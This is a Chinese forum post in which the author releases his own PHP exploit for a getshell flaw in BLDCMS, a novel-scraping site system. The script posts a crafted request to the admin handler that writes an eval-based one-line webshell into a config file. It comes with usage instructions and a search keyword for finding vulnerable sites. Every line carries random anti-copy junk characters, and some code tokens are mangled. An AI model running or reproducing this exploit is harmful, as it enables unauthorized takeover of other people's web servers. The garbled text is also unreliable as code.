之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
& X s- U+ @6 i6 u& |3 l
6 R1 b8 S) Y( o3 [& E
; o2 w1 B' r+ l5 D0 ?' F/ G话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 " @: p1 j+ w! C: @. L
: U f) J/ I |/ \$ c# r) }# C% y
既然都有人发了 我就把我之前写好的EXP放出来吧
3 Z/ |; z) Z D7 _, |# P, f$ a
: Y4 c6 g7 N& ?1 c* B) kview source print?01.php;">
" F- Q6 _) q; A/ c02.<!--?php: m& z* u# X+ y. |* b6 C2 `4 l2 Q
03.echo "-------------------------------------------------------------------/ a- e9 v9 E. G# I8 f- h2 c
04. ; L$ f2 n0 p; N" z! O& G) J
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
! y& u+ g8 d3 w( E2 w6 ?06.
3 w) b4 {! Q/ s% P9 y7 [07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun: ]) u5 c# Q2 {5 b# u' `! S
08. ) r( ^- Y& O- z) W
09.QQ:981009941\r\n 2013.3.21\r\n ! L2 ]( @ \' @/ ]
10.
9 @, |+ ]) U4 B* f9 X4 T5 t, e. R, t11. 0 A8 H* [" j" u- v4 C+ b8 ?# s
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
2 E: Q8 C! d0 K; n$ _9 W13. 1 F+ v/ g! F: u6 }( ^7 C
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------; y+ Y5 O5 N$ T
15. 7 ^6 l1 i5 x+ F
16.--------------------------------------------------------------------\r\n";- z1 ]1 O! q- ?4 r, b+ N$ X
17.$url=$argv[1];
) @7 d7 \+ F, G, c1 p6 [18.$dir=$argv[2];
; s( X% H1 J/ F19.$pass=$argv[3];! T" b- C. t+ Q7 Z* _5 l" Z
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';9 Z/ G; |. V& D, D
21.if (emptyempty($pass)||emptyempty($url))
% ]6 y) H- x" n22.{exit("请输入参数");}
. T. m/ b( M% P) S23.else
: L2 h7 T: r! q7 V0 L0 d& o/ }24.{; y, z. M9 ]: d! H
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev) h5 U0 E6 V% p& U8 a+ a& G
26. 9 ^3 Y6 m* a5 q& @
27.al;* d( v3 \+ i1 w! }3 z7 r! w
28.$length = strlen($fuckdata);7 R2 h/ k8 X5 a. b
29.function getshell($url,$pass)% O' {" N9 Z$ \% V; G! A
30.{. {+ A& i7 N+ ]( M: T$ p% \4 S
31.global $url,$dir,$pass,$eval,$length,$fuckdata;1 f9 R7 j; K/ ^: @- L8 q" M
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";: L) U$ [$ x& l
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
8 c! p$ l, b: t9 a34.$header .= "User-Agent: MSIE\r\n";
8 \2 V$ {6 o0 A. T35.$header .= "Host:".$url."\r\n";
( _- ^/ u% R% h7 |3 f' s `36.$header .= "Content-Length: ".$length."\r\n";1 R- b# ^0 b2 p: n& R) l* l
37.$header .= "Connection: Close\r\n";3 P* I5 Q# ^" ?" V0 u
38.$header .="\r\n";" r2 w1 H9 _0 T/ H- C; S* i
39.$header .= $fuckdata."\r\n\r\n";8 j" F \2 v g& E7 A3 f
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
: h' |% o! J; Y. g. U* K* G6 B3 \5 S) q41.if (!$fp)8 q& S8 p) j1 R2 G4 r: F# X+ D
42.{
; D) `! F( @! M0 k43.exit ("利用失败:请检查指定目标是否能正常打开");( q( M6 S4 p& a3 e) d& t8 U
44.}2 F: e T" \3 y$ ?
45.else{ if (!fputs($fp,$header))4 G9 C; T1 R7 ~* o! z: K3 p
46.{exit ("利用失败");}7 C2 _! U" @; c7 l2 J9 m; k* r
47.else
0 L' ^9 L! _4 K' j) R" c8 q48.{" o" ]$ j! i3 _! F; b
49.$receive = '';
, p% T& N2 b. v50.while (!feof($fp)) {
: [) b: W: [" @7 Y51.$receive .= @fgets($fp, 1000);
& Q$ S1 Y: o5 _. o52.}
" W; Z& u6 ^! N# \53.@fclose($fp);( H; ^, A3 c; j/ h7 G
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
- Y5 e- l M( A+ j2 u+ S. G9 t, R55. 5 P$ f5 K* p& x' W
56.GPC是否=off)";; j9 w0 Y! N6 m! x
57.}}
+ J* k. p5 W2 `& ]58.}
9 S- J0 g& [0 d7 l+ x* R59.}& M; z: m( ]- S* G3 J! y! P% q
60.getshell($url,$pass);. |' P. b% v) t2 }1 X
61.?-->: w& D3 J9 @0 d, q" X9 X) y
3 U% N1 h) {& S
' [6 E. D3 b5 K4 F( `6 r+ ~
) U9 z2 }& }. Gby 数据流7 ?, Y% {5 }* ^6 V2 @) `
|